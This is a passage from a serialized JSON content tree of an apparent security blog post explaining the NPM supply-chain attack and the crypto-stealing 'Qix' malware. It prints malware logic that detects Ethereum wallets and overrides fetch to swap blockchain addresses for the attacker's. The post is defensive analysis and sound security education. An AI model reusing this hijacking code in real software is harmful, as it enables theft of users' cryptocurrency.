s":98525,"children":98526},{"style":687},[98527,98531],{"type":23,"tag":504,"props":98528,"children":98530},{"className":98529,"style":693},[692],[],{"type":23,"tag":504,"props":98532,"children":98534},{"className":98533},[698,699,700,701],[98535],{"type":23,"tag":504,"props":98536,"children":98538},{"className":98537},[529,701],[98539],{"type":23,"tag":504,"props":98540,"children":98542},{"className":98541},[529,701],[98543],{"type":29,"value":4290},{"type":23,"tag":504,"props":98545,"children":98547},{"className":98546},[712],[98548],{"type":29,"value":715},{"type":23,"tag":504,"props":98550,"children":98552},{"className":98551},[677],[98553],{"type":23,"tag":504,"props":98554,"children":98556},{"className":98555,"style":723},[682],[98557],{"type":23,"tag":504,"props":98558,"children":98559},{},[],{"type":23,"tag":504,"props":98561,"children":98563},{"className":98562},[930],[98564],{"type":29,"value":933},{"type":29,"value":1698},{"type":23,"tag":38,"props":98567,"children":98568},{},[98569],{"type":29,"value":2453},{"type":23,"tag":143,"props":98571,"children":98572},{},[98573,98577,98578],{"type":23,"tag":4321,"props":98574,"children":98575},{},[98576],{"type":29,"value":4325},{"type":29,"value":1698},{"type":23,"tag":38,"props":98579,"children":98580},{},[98581],{"type":29,"value":2739},{"type":23,"tag":32,"props":98583,"children":98584},{},[98585],{"type":29,"value":4335},{"type":23,"tag":32,"props":98587,"children":98588},{},[98589],{"type":23,"tag":199,"props":98590,"children":98591},{"alt":201,"src":4341},[],{"type":23,"tag":24,"props":98593,"children":98594},{"id":4345},[98595],{"type":29,"value":4348},{"type":23,"tag":320,"props":98597,"children":98598},{"id":4351},[98599],{"type":29,"value":4354},{"type":23,"tag":32,"props":98601,"children":98602},{},[98603,98604,98609,98610,98615,98616,98621],{"type":29,"value":4359},{"type":23,"tag":154,"props":98605,"children":98607},{"className":98606},[],[98608],{"type":29,"value":4365},{"type":29,"value":4367},{"type":23,"tag":154,"props":98611,"children":98613},{"className":98612},[],[98614],{"type":29,"value":4373},{"type":29,"value":4375},{"type":23,"tag":154,"props":98617,"children":98619},{"className":98618},[],[98620],{"type":29,"value":4381},{"type":29,"value":4383},{"type":23,"tag":32,"props":98623,"children":98624},{},[98625],{"type":29,"value":4388},{"type":23,"tag":32,"props":98627,"children":98628},{},[98629,98630,98635,98636,98640],{"type":29,"value":4393},{"type":23,"tag":154,"props":98631,"children":98633},{"className":98632},[],[98634],{"type":29,"value":4399},{"type":29,"value":4401},{"type":23,"tag":4321,"props":98637,"children":98638},{},[98639],{"type":29,"value":4406},{"type":29,"value":357},{"type":23,"tag":320,"props":98642,"children":98643},{"id":4410},[98644],{"type":29,"value":4413},{"type":23,"tag":32,"props":98646,"children":98647},{},[98648],{"type":23,"tag":38,"props":98649,"children":98650},{},[98651],{"type":29,"value":4421},{"type":23,"tag":32,"props":98653,"children":98654},{},[98655,98656,98661,98662,98667],{"type":29,"value":4426},{"type":23,"tag":154,"props":98657,"children":98659},{"className":98658},[],[98660],{"type":29,"value":4365},{"type":29,"value":4433},{"type":23,"tag":154,"props":98663,"children":98665},{"className":98664},[],[98666],{"type":29,"value":4373},{"type":29,"value":4440},{"type":23,"tag":139,"props":98669,"children":98670},{},[98671,98675,98679,98683,98705],{"type":23,"tag":143,"props":98672,"children":98673},{},[98674],{"type":29,"value":4448},{"type":23,"tag":143,"props":98676,"children":98677},{},[98678],{"type":29,"value":4453},{"type":23,"tag":143,"props":98680,"children":98681},{},[98682],{"type":29,"value":4458},{"type":23,"tag":143,"props":98684,"children":98685},{},[98686,98687,98692,98693,98698,98699,98704],{"type":29,"value":4463},{"type":23,"tag":154,"props":98688,"children":98690},{"className":98689},[],[98691],{"type":29,"value":4469},{"type":29,"value":4471},{"type":23,"tag":154,"props":98694,"children":98696},{"className":98695},[],[98697],{"type":29,"value":4365},{"type":29,"value":4478},{"type":23,"tag":154,"props":98700,"children":98702},{"className":98701},[],[98703],{"type":29,"value":4373},{"type":29,"value":4485},{"type":23,"tag":143,"props":98706,"children":98707},{},[98708],{"type":29,"value":4490},{"type":23,"tag":32,"props":98710,"children":98711},{},[98712],{"type":23,"tag":38,"props":98713,"children":98714},{},[98715],{"type":29,"value":4498},{"type":23,"tag":32,"props":98717,"children":98718},{},[98719,98720,98725,98726,98731],{"type":29,"value":4503},{"type":23,"tag":154,"props":98721,"children":98723},{"className":98722},[],[98724],{"type":29,"value":4399},{"type":29,"value":4510},{"type":23,"tag":154,"props":98727,"children":98729},{"className":98728},[],[98730],{"type":29,"value":4373},{"type":29,"value":4517},{"type":23,"tag":139,"props":98733,"children":98734},{},[98735,98739,98743,98747],{"type":23,"tag":143,"props":98736,"children":98737},{},[98738],{"type":29,"value":4453},{"type":23,"tag":143,"props":98740,"children":98741},{},[98742],{"type":29,"value":4529},{"type":23,"tag":143,"props":98744,"children":98745},{},[98746],{"type":29,"value":4534},{"type":23,"tag":143,"props":98748,"children":98749},{},[98750],{"type":29,"value":4539},{"type":23,"tag":24,"props":98752,"children":98753},{"id":4542},[98754],{"type":29,"value":4545},{"type":23,"tag":32,"props":98756,"children":98757},{},[98758,98759,98764],{"type":29,"value":4550},{"type":23,"tag":68,"props":98760,"children":98762},{"href":103,"rel":98761},[72],[98763],{"type":29,"value":4556},{"type":29,"value":4558},{"type":23,"tag":32,"props":98766,"children":98767},{},[98768],{"type":29,"value":4563},{"type":23,"tag":32,"props":98770,"children":98771},{},[98772],{"type":23,"tag":199,"props":98773,"children":98774},{"alt":201,"src":4569},[],{"type":23,"tag":32,"props":98776,"children":98777},{},[98778],{"type":29,"value":4575},{"type":23,"tag":1022,"props":98780,"children":98781},{},[98782,98790,98798,98806,98814,98822],{"type":23,"tag":143,"props":98783,"children":98784},{},[98785,98789],{"type":23,"tag":38,"props":98786,"children":98787},{},[98788],{"type":29,"value":4586},{"type":29,"value":4588},{"type":23,"tag":143,"props":98791,"children":98792},{},[98793,98797],{"type":23,"tag":38,"props":98794,"children":98795},{},[98796],{"type":29,"value":4596},{"type":29,"value":4598},{"type":23,"tag":143,"props":98799,"children":98800},{},[98801,98805],{"type":23,"tag":38,"props":98802,"children":98803},{},[98804],{"type":29,"value":4606},{"type":29,"value":4608},{"type":23,"tag":143,"props":98807,"children":98808},{},[98809,98813],{"type":23,"tag":38,"props":98810,"children":98811},{},[98812],{"type":29,"value":4616},{"type":29,"value":4618},{"type":23,"tag":143,"props":98815,"children":98816},{},[98817,98821],{"type":23,"tag":38,"props":98818,"children":98819},{},[98820],{"type":29,"value":4626},{"type":29,"value":4628},{"type":23,"tag":143,"props":98823,"children":98824},{},[98825,98829],{"type":23,"tag":38,"props":98826,"children":98827},{},[98828],{"type":29,"value":4636},{"type":29,"value":4638},{"type":23,"tag":32,"props":98831,"children":98832},{},[98833],{"type":29,"value":4643},{"type":23,"tag":32,"props":98835,"children":98836},{},[98837],{"type":23,"tag":199,"props":98838,"children":98839},{"alt":201,"src":4649},[],{"type":23,"tag":32,"props":98841,"children":98842},{},[98843,98844,98849,98850,98855],{"type":29,"value":4655},{"type":23,"tag":68,"props":98845,"children":98847},{"href":4658,"rel":98846},[72],[98848],{"type":29,"value":4658},{"type":29,"value":4663},{"type":23,"tag":68,"props":98851,"children":98853},{"href":4666,"rel":98852},[72],[98854],{"type":29,"value":4666},{"type":29,"value":357},{"type":23,"tag":24,"props":98857,"children":98858},{"id":4673},[98859],{"type":29,"value":4676},{"type":23,"tag":32,"props":98861,"children":98862},{},[98863],{"type":29,"value":4681},{"type":23,"tag":320,"props":98865,"children":98866},{"id":4684},[98867],{"type":29,"value":4687},{"type":23,"tag":32,"props":98869,"children":98870},{},[98871],{"type":29,"value":4692},{"type":23,"tag":139,"props":98873,"children":98874},{},[98875,98884,98900],{"type":23,"tag":143,"props":98876,"children":98877},{},[98878,98883],{"type":23,"tag":68,"props":98879,"children":98881},{"href":4701,"rel":98880},[72],[98882],{"type":29,"value":4705},{"type":29,"value":357},{"type":23,"tag":143,"props":98885,"children":98886},{},[98887,98888,98893,98894,98899],{"type":29,"value":4711},{"type":23,"tag":154,"props":98889,"children":98891},{"className":98890},[],[98892],{"type":29,"value":4399},{"type":29,"value":4478},{"type":23,"tag":154,"props":98895,"children":98897},{"className":98896},[],[98898],{"type":29,"value":4373},{"type":29,"value":4724},{"type":23,"tag":143,"props":98901,"children":98902},{},[98903,98904,98909],{"type":29,"value":4729},{"type":23,"tag":154,"props":98905,"children":98907},{"className":98906},[],[98908],{"type":29,"value":4735},{"type":29,"value":357},{"type":23,"tag":32,"props":98911,"children":98912},{},[98913],{"type":29,"value":4741},{"type":23,"tag":4743,"props":98915,"children":98916},{"code":4745},[98917],{"type":23,"tag":154,"props":98918,"children":98919},{"__ignoreMap":7},[98920],{"type":29,"value":4745},{"type":23,"tag":320,"props":98922,"children":98923},{"id":4753},[98924],{"type":29,"value":4756},{"type":23,"tag":32,"props":98926,"children":98927},{},[98928],{"type":29,"value":4761},{"type":23,"tag":139,"props":98930,"children":98931},{},[98932,98941,98957],{"type":23,"tag":143,"props":98933,"children":98934},{},[98935,98940],{"type":23,"tag":68,"props":98936,"children":98938},{"href":4701,"rel":98937},[72],[98939],{"type":29,"value":4705},{"type":29,"value":357},{"type":23,"tag":143,"props":98942,"children":98943},{},[98944,98945,98950,98951,98956],{"type":29,"value":4778},{"type":23,"tag":154,"props":98946,"children":98948},{"className":98947},[],[98949],{"type":29,"value":4365},{"type":29,"value":4433},{"type":23,"tag":154,"props":98952,"children":98954},{"className":98953},[],[98955],{"type":29,"value":4373},{"type":29,"value":4791},{"type":23,"tag":143,"props":98958,"children":98959},{},[98960,98961,98966],{"type":29,"value":4796},{"type":23,"tag":154,"props":98962,"children":98964},{"className":98963},[],[98965],{"type":29,"value":4735},{"type":29,"value":4803},{"type":23,"tag":32,"props":98968,"children":98969},{},[98970],{"type":29,"value":4808},{"type":23,"tag":4743,"props":98972,"children":98973},{"code":4811},[98974],{"type":23,"tag":154,"props":98975,"children":98976},{"__ignoreMap":7},[98977],{"type":29,"value":4811},{"type":23,"tag":32,"props":98979,"children":98980},{},[98981],{"type":29,"value":4821},{"type":23,"tag":4743,"props":98983,"children":98984},{"code":4824},[98985],{"type":23,"tag":154,"props":98986,"children":98987},{"__ignoreMap":7},[98988],{"type":29,"value":4824},{"type":23,"tag":24,"props":98990,"children":98991},{"id":4832},[98992],{"type":29,"value":4835},{"type":23,"tag":32,"props":98994,"children":98995},{},[98996],{"type":29,"value":4840},{"type":23,"tag":32,"props":98998,"children":98999},{},[99000,99001,99006],{"type":29,"value":4845},{"type":23,"tag":68,"props":99002,"children":99004},{"href":4658,"rel":99003},[72],[99005],{"type":29,"value":4851},{"type":29,"value":4853},{"type":23,"tag":32,"props":99008,"children":99009},{},[99010,99011,99016],{"type":29,"value":4858},{"type":23,"tag":68,"props":99012,"children":99014},{"href":4861,"rel":99013},[72],[99015],{"type":29,"value":4865},{"type":29,"value":357},{"title":7,"searchDepth":4868,"depth":4868,"links":99018},[99019,99020,99021,99022,99025,99030,99034,99035,99039],{"id":26,"depth":4868,"text":30},{"id":112,"depth":4868,"text":115},{"id":186,"depth":4868,"text":189},{"id":242,"depth":4868,"text":245,"children":99023},[99024],{"id":322,"depth":4876,"text":325},{"id":411,"depth":4868,"text":414,"children":99026},[99027,99028,99029],{"id":485,"depth":4876,"text":488},{"id":1004,"depth":4876,"text":1007},{"id":2762,"depth":4876,"text":2765},{"id":4345,"depth":4868,"text":4348,"children":99031},[99032,99033],{"id":4351,"depth":4876,"text":4354},{"id":4410,"depth":4876,"text":4413},{"id":4542,"depth":4868,"text":4545},{"id":4673,"depth":4868,"text":4676,"children":99036},[99037,99038],{"id":4684,"depth":4876,"text":4687},{"id":4753,"depth":4876,"text":4756},{"id":4832,"depth":4868,"text":4835},{"_path":99041,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99042,"description":99043,"date":99044,"author":11,"image":99045,"isFeatured":15,"onBlogPage":15,"tags":99048,"body":99051,"_type":4892,"_id":101477,"_source":4894,"_file":101478,"_stem":101479,"_extension":4897},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":99046,"width":99047,"height":14},"/posts/supply-chain-attcks/title.png",1536,[99049,99050],"npm","supply-chain",{"type":20,"children":99052,"toc":101460},[99053,99066,99071,99076,99082,99087,99095,99425,99433,99996,100004,100711,100717,100722,100728,100733,100738,100744,100749,100761,100766,100792,100879,100891,100916,100932,100937,100942,101148,101190,101195,101207,101213,101225,101267,101280,101360,101372,101385,101392,101403,101411,101417,101430,101435,101439,101444,101456],{"type":23,"tag":32,"props":99054,"children":99055},{},[99056,99058,99064],{"type":29,"value":99057},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":154,"props":99059,"children":99061},{"className":99060},[],[99062],{"type":29,"value":99063},"chalk",{"type":29,"value":99065},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":32,"props":99067,"children":99068},{},[99069],{"type":29,"value":99070},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":32,"props":99072,"children":99073},{},[99074],{"type":29,"value":99075},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":24,"props":99077,"children":99079},{"id":99078},"qix-malware-how-it-worked",[99080],{"type":29,"value":99081},"Qix Malware: How It Worked",{"type":23,"tag":32,"props":99083,"children":99084},{},[99085],{"type":29,"value":99086},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":139,"props":99088,"children":99089},{},[99090],{"type":23,"tag":143,"props":99091,"children":99092},{},[99093],{"type":29,"value":99094},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":4743,"props":99096,"children":99098},{"code":99097,"language":33420,"meta":7,"className":33418,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[99099],{"type":23,"tag":154,"props":99100,"children":99101},{"__ignoreMap":7},[99102,99122,99134,99178,99195,99202,99238,99250,99278,99298,99318,99330,99337,99372,99392,99404,99411,99418],{"type":23,"tag":504,"props":99103,"children":99104},{"class":5016,"line":5017},[99105,99109,99113,99118],{"type":23,"tag":504,"props":99106,"children":99107},{"style":5030},[99108],{"type":29,"value":38202},{"type":23,"tag":504,"props":99110,"children":99111},{"style":5030},[99112],{"type":29,"value":40270},{"type":23,"tag":504,"props":99114,"children":99115},{"style":5139},[99116],{"type":29,"value":99117}," checkethereumw",{"type":23,"tag":504,"props":99119,"children":99120},{"style":5058},[99121],{"type":29,"value":17783},{"type":23,"tag":504,"props":99123,"children":99124},{"class":5016,"line":4868},[99125,99130],{"type":23,"tag":504,"props":99126,"children":99127},{"style":5067},[99128],{"type":29,"value":99129},"  try",{"type":23,"tag":504,"props":99131,"children":99132},{"style":5058},[99133],{"type":29,"value":5333},{"type":23,"tag":504,"props":99135,"children":99136},{"class":5016,"line":4876},[99137,99141,99146,99150,99154,99158,99162,99166,99170,99174],{"type":23,"tag":504,"props":99138,"children":99139},{"style":5030},[99140],{"type":29,"value":53729},{"type":23,"tag":504,"props":99142,"children":99143},{"style":5041},[99144],{"type":29,"value":99145}," _0x124ed3",{"type":23,"tag":504,"props":99147,"children":99148},{"style":5047},[99149],{"type":29,"value":5050},{"type":23,"tag":504,"props":99151,"children":99152},{"style":5067},[99153],{"type":29,"value":38268},{"type":23,"tag":504,"props":99155,"children":99156},{"style":5041},[99157],{"type":29,"value":33463},{"type":23,"tag":504,"props":99159,"children":99160},{"style":5058},[99161],{"type":29,"value":357},{"type":23,"tag":504,"props":99163,"children":99164},{"style":5041},[99165],{"type":29,"value":33472},{"type":23,"tag":504,"props":99167,"children":99168},{"style":5058},[99169],{"type":29,"value":357},{"type":23,"tag":504,"props":99171,"children":99172},{"style":5139},[99173],{"type":29,"value":33548},{"type":23,"tag":504,"props":99175,"children":99176},{"style":5058},[99177],{"type":29,"value":17187},{"type":23,"tag":504,"props":99179,"children":99180},{"class":5016,"line":5099},[99181,99186,99190],{"type":23,"tag":504,"props":99182,"children":99183},{"style":6297},[99184],{"type":29,"value":99185},"      'method'",{"type":23,"tag":504,"props":99187,"children":99188},{"style":5041},[99189],{"type":29,"value":6533},{"type":23,"tag":504,"props":99191,"children":99192},{"style":6297},[99193],{"type":29,"value":99194}," \"eth_accounts\"\n",{"type":23,"tag":504,"props":99196,"children":99197},{"class":5016,"line":5203},[99198],{"type":23,"tag":504,"props":99199,"children":99200},{"style":5058},[99201],{"type":29,"value":34312},{"type":23,"tag":504,"props":99203,"children":99204},{"class":5016,"line":5308},[99205,99209,99213,99218,99222,99226,99230,99234],{"type":23,"tag":504,"props":99206,"children":99207},{"style":5067},[99208],{"type":29,"value":14325},{"type":23,"tag":504,"props":99210,"children":99211},{"style":5058},[99212],{"type":29,"value":5110},{"type":23,"tag":504,"props":99214,"children":99215},{"style":5041},[99216],{"type":29,"value":99217},"_0x124ed3",{"type":23,"tag":504,"props":99219,"children":99220},{"style":5058},[99221],{"type":29,"value":357},{"type":23,"tag":504,"props":99223,"children":99224},{"style":5041},[99225],{"type":29,"value":10549},{"type":23,"tag":504,"props":99227,"children":99228},{"style":5047},[99229],{"type":29,"value":16240},{"type":23,"tag":504,"props":99231,"children":99232},{"style":5083},[99233],{"type":29,"value":5086},{"type":23,"tag":504,"props":99235,"children":99236},{"style":5058},[99237],{"type":29,"value":16850},{"type":23,"tag":504,"props":99239,"children":99240},{"class":5016,"line":5336},[99241,99246],{"type":23,"tag":504,"props":99242,"children":99243},{"style":5139},[99244],{"type":29,"value":99245},"      runmask",{"type":23,"tag":504,"props":99247,"children":99248},{"style":5058},[99249],{"type":29,"value":5725},{"type":23,"tag":504,"props":99251,"children":99252},{"class":5016,"line":5349},[99253,99257,99261,99266,99270,99274],{"type":23,"tag":504,"props":99254,"children":99255},{"style":5067},[99256],{"type":29,"value":41343},{"type":23,"tag":504,"props":99258,"children":99259},{"style":5058},[99260],{"type":29,"value":5110},{"type":23,"tag":504,"props":99262,"children":99263},{"style":5041},[99264],{"type":29,"value":99265},"rund",{"type":23,"tag":504,"props":99267,"children":99268},{"style":5047},[99269],{"type":29,"value":66449},{"type":23,"tag":504,"props":99271,"children":99272},{"style":5083},[99273],{"type":29,"value":6565},{"type":23,"tag":504,"props":99275,"children":99276},{"style":5058},[99277],{"type":29,"value":16850},{"type":23,"tag":504,"props":99279,"children":99280},{"class":5016,"line":5367},[99281,99286,99290,99294],{"type":23,"tag":504,"props":99282,"children":99283},{"style":5041},[99284],{"type":29,"value":99285},"        rund",{"type":23,"tag":504,"props":99287,"children":99288},{"style":5047},[99289],{"type":29,"value":5050},{"type":23,"tag":504,"props":99291,"children":99292},{"style":5083},[99293],{"type":29,"value":6565},{"type":23,"tag":504,"props":99295,"children":99296},{"style":5058},[99297],{"type":29,"value":5061},{"type":23,"tag":504,"props":99299,"children":99300},{"class":5016,"line":5388},[99301,99306,99310,99314],{"type":23,"tag":504,"props":99302,"children":99303},{"style":5041},[99304],{"type":29,"value":99305},"        neth",{"type":23,"tag":504,"props":99307,"children":99308},{"style":5047},[99309],{"type":29,"value":5050},{"type":23,"tag":504,"props":99311,"children":99312},{"style":5083},[99313],{"type":29,"value":6565},{"type":23,"tag":504,"props":99315,"children":99316},{"style":5058},[99317],{"type":29,"value":5061},{"type":23,"tag":504,"props":99319,"children":99320},{"class":5016,"line":5397},[99321,99326],{"type":23,"tag":504,"props":99322,"children":99323},{"style":5139},[99324],{"type":29,"value":99325},"        newdlocal",{"type":23,"tag":504,"props":99327,"children":99328},{"style":5058},[99329],{"type":29,"value":5725},{"type":23,"tag":504,"props":99331,"children":99332},{"class":5016,"line":5649},[99333],{"type":23,"tag":504,"props":99334,"children":99335},{"style":5058},[99336],{"type":29,"value":14710},{"type":23,"tag":504,"props":99338,"children":99339},{"class":5016,"line":5666},[99340,99344,99348,99352,99356,99360,99364,99368],{"type":23,"tag":504,"props":99341,"children":99342},{"style":5058},[99343],{"type":29,"value":17826},{"type":23,"tag":504,"props":99345,"children":99346},{"style":5067},[99347],{"type":29,"value":5360},{"type":23,"tag":504,"props":99349,"children":99350},{"style":5067},[99351],{"type":29,"value":17835},{"type":23,"tag":504,"props":99353,"children":99354},{"style":5058},[99355],{"type":29,"value":5110},{"type":23,"tag":504,"props":99357,"children":99358},{"style":5041},[99359],{"type":29,"value":99265},{"type":23,"tag":504,"props":99361,"children":99362},{"style":5047},[99363],{"type":29,"value":66449},{"type":23,"tag":504,"props":99365,"children":99366},{"style":5083},[99367],{"type":29,"value":6565},{"type":23,"tag":504,"props":99369,"children":99370},{"style":5058},[99371],{"type":29,"value":16850},{"type":23,"tag":504,"props":99373,"children":99374},{"class":5016,"line":5683},[99375,99380,99384,99388],{"type":23,"tag":504,"props":99376,"children":99377},{"style":5041},[99378],{"type":29,"value":99379},"      rund",{"type":23,"tag":504,"props":99381,"children":99382},{"style":5047},[99383],{"type":29,"value":5050},{"type":23,"tag":504,"props":99385,"children":99386},{"style":5083},[99387],{"type":29,"value":6565},{"type":23,"tag":504,"props":99389,"children":99390},{"style":5058},[99391],{"type":29,"value":5061},{"type":23,"tag":504,"props":99393,"children":99394},{"class":5016,"line":5696},[99395,99400],{"type":23,"tag":504,"props":99396,"children":99397},{"style":5139},[99398],{"type":29,"value":99399},"      newdlocal",{"type":23,"tag":504,"props":99401,"children":99402},{"style":5058},[99403],{"type":29,"value":5725},{"type":23,"tag":504,"props":99405,"children":99406},{"class":5016,"line":5705},[99407],{"type":23,"tag":504,"props":99408,"children":99409},{"style":5058},[99410],{"type":29,"value":5403},{"type":23,"tag":504,"props":99412,"children":99413},{"class":5016,"line":5728},[99414],{"type":23,"tag":504,"props":99415,"children":99416},{"style":5058},[99417],{"type":29,"value":7917},{"type":23,"tag":504,"props":99419,"children":99420},{"class":5016,"line":5737},[99421],{"type":23,"tag":504,"props":99422,"children":99423},{"style":5058},[99424],{"type":29,"value":5965},{"type":23,"tag":139,"props":99426,"children":99427},{"start":4868},[99428],{"type":23,"tag":143,"props":99429,"children":99430},{},[99431],{"type":29,"value":99432},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":4743,"props":99434,"children":99436},{"code":99435,"language":33420,"meta":7,"className":33418,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[99437],{"type":23,"tag":154,"props":99438,"children":99439},{"__ignoreMap":7},[99440,99475,99532,99594,99609,99646,99685,99700,99739,99746,99779,99795,99854,99892,99917,99942,99966,99974,99989],{"type":23,"tag":504,"props":99441,"children":99442},{"class":5016,"line":5017},[99443,99447,99451,99455,99459,99463,99467,99471],{"type":23,"tag":504,"props":99444,"children":99445},{"style":5139},[99446],{"type":29,"value":36150},{"type":23,"tag":504,"props":99448,"children":99449},{"style":5047},[99450],{"type":29,"value":5050},{"type":23,"tag":504,"props":99452,"children":99453},{"style":5030},[99454],{"type":29,"value":38422},{"type":23,"tag":504,"props":99456,"children":99457},{"style":5030},[99458],{"type":29,"value":40270},{"type":23,"tag":504,"props":99460,"children":99461},{"style":5058},[99462],{"type":29,"value":5110},{"type":23,"tag":504,"props":99464,"children":99465},{"style":5047},[99466],{"type":29,"value":853},{"type":23,"tag":504,"props":99468,"children":99469},{"style":5041},[99470],{"type":29,"value":40284},{"type":23,"tag":504,"props":99472,"children":99473},{"style":5058},[99474],{"type":29,"value":16850},{"type":23,"tag":504,"props":99476,"children":99477},{"class":5016,"line":4868},[99478,99482,99487,99491,99495,99500,99504,99508,99512,99516,99520,99524,99528],{"type":23,"tag":504,"props":99479,"children":99480},{"style":5030},[99481],{"type":29,"value":38245},{"type":23,"tag":504,"props":99483,"children":99484},{"style":5041},[99485],{"type":29,"value":99486}," originalResponse",{"type":23,"tag":504,"props":99488,"children":99489},{"style":5047},[99490],{"type":29,"value":5050},{"type":23,"tag":504,"props":99492,"children":99493},{"style":5067},[99494],{"type":29,"value":38268},{"type":23,"tag":504,"props":99496,"children":99497},{"style":5041},[99498],{"type":29,"value":99499}," originalFetch",{"type":23,"tag":504,"props":99501,"children":99502},{"style":5058},[99503],{"type":29,"value":357},{"type":23,"tag":504,"props":99505,"children":99506},{"style":5139},[99507],{"type":29,"value":40352},{"type":23,"tag":504,"props":99509,"children":99510},{"style":5058},[99511],{"type":29,"value":603},{"type":23,"tag":504,"props":99513,"children":99514},{"style":5030},[99515],{"type":29,"value":19742},{"type":23,"tag":504,"props":99517,"children":99518},{"style":5058},[99519],{"type":29,"value":4367},{"type":23,"tag":504,"props":99521,"children":99522},{"style":5047},[99523],{"type":29,"value":853},{"type":23,"tag":504,"props":99525,"children":99526},{"style":5041},[99527],{"type":29,"value":40284},{"type":23,"tag":504,"props":99529,"children":99530},{"style":5058},[99531],{"type":29,"value":5888},{"type":23,"tag":504,"props":99533,"children":99534},{"class":5016,"line":4876},[99535,99539,99544,99548,99552,99556,99561,99565,99569,99573,99578,99582,99586,99590],{"type":23,"tag":504,"props":99536,"children":99537},{"style":5030},[99538],{"type":29,"value":38245},{"type":23,"tag":504,"props":99540,"children":99541},{"style":5041},[99542],{"type":29,"value":99543}," contentType",{"type":23,"tag":504,"props":99545,"children":99546},{"style":5047},[99547],{"type":29,"value":5050},{"type":23,"tag":504,"props":99549,"children":99550},{"style":5041},[99551],{"type":29,"value":99486},{"type":23,"tag":504,"props":99553,"children":99554},{"style":5058},[99555],{"type":29,"value":357},{"type":23,"tag":504,"props":99557,"children":99558},{"style":5041},[99559],{"type":29,"value":99560},"headers",{"type":23,"tag":504,"props":99562,"children":99563},{"style":5058},[99564],{"type":29,"value":357},{"type":23,"tag":504,"props":99566,"children":99567},{"style":5139},[99568],{"type":29,"value":18399},{"type":23,"tag":504,"props":99570,"children":99571},{"style":5058},[99572],{"type":29,"value":603},{"type":23,"tag":504,"props":99574,"children":99575},{"style":6297},[99576],{"type":29,"value":99577},"'Content-Type'",{"type":23,"tag":504,"props":99579,"children":99580},{"style":5058},[99581],{"type":29,"value":5128},{"type":23,"tag":504,"props":99583,"children":99584},{"style":5047},[99585],{"type":29,"value":24459},{"type":23,"tag":504,"props":99587,"children":99588},{"style":6297},[99589],{"type":29,"value":33894},{"type":23,"tag":504,"props":99591,"children":99592},{"style":5058},[99593],{"type":29,"value":5061},{"type":23,"tag":504,"props":99595,"children":99596},{"class":5016,"line":5099},[99597,99601,99605],{"type":23,"tag":504,"props":99598,"children":99599},{"style":5030},[99600],{"type":29,"value":9900},{"type":23,"tag":504,"props":99602,"children":99603},{"style":5041},[99604],{"type":29,"value":17151},{"type":23,"tag":504,"props":99606,"children":99607},{"style":5058},[99608],{"type":29,"value":5061},{"type":23,"tag":504,"props":99610,"children":99611},{"class":5016,"line":5203},[99612,99616,99620,99625,99629,99633,99637,99642],{"type":23,"tag":504,"props":99613,"children":99614},{"style":5067},[99615],{"type":29,"value":33449},{"type":23,"tag":504,"props":99617,"children":99618},{"style":5058},[99619],{"type":29,"value":5110},{"type":23,"tag":504,"props":99621,"children":99622},{"style":5041},[99623],{"type":29,"value":99624},"contentType",{"type":23,"tag":504,"props":99626,"children":99627},{"style":5058},[99628],{"type":29,"value":357},{"type":23,"tag":504,"props":99630,"children":99631},{"style":5139},[99632],{"type":29,"value":37237},{"type":23,"tag":504,"props":99634,"children":99635},{"style":5058},[99636],{"type":29,"value":603},{"type":23,"tag":504,"props":99638,"children":99639},{"style":6297},[99640],{"type":29,"value":99641},"'application/json'",{"type":23,"tag":504,"props":99643,"children":99644},{"style":5058},[99645],{"type":29,"value":37250},{"type":23,"tag":504,"props":99647,"children":99648},{"class":5016,"line":5308},[99649,99653,99657,99661,99665,99669,99673,99677,99681],{"type":23,"tag":504,"props":99650,"children":99651},{"style":5041},[99652],{"type":29,"value":45290},{"type":23,"tag":504,"props":99654,"children":99655},{"style":5047},[99656],{"type":29,"value":5050},{"type":23,"tag":504,"props":99658,"children":99659},{"style":5067},[99660],{"type":29,"value":38268},{"type":23,"tag":504,"props":99662,"children":99663},{"style":5041},[99664],{"type":29,"value":99486},{"type":23,"tag":504,"props":99666,"children":99667},{"style":5058},[99668],{"type":29,"value":357},{"type":23,"tag":504,"props":99670,"children":99671},{"style":5139},[99672],{"type":29,"value":17466},{"type":23,"tag":504,"props":99674,"children":99675},{"style":5058},[99676],{"type":29,"value":32223},{"type":23,"tag":504,"props":99678,"children":99679},{"style":5139},[99680],{"type":29,"value":36053},{"type":23,"tag":504,"props":99682,"children":99683},{"style":5058},[99684],{"type":29,"value":5725},{"type":23,"tag":504,"props":99686,"children":99687},{"class":5016,"line":5336},[99688,99692,99696],{"type":23,"tag":504,"props":99689,"children":99690},{"style":5058},[99691],{"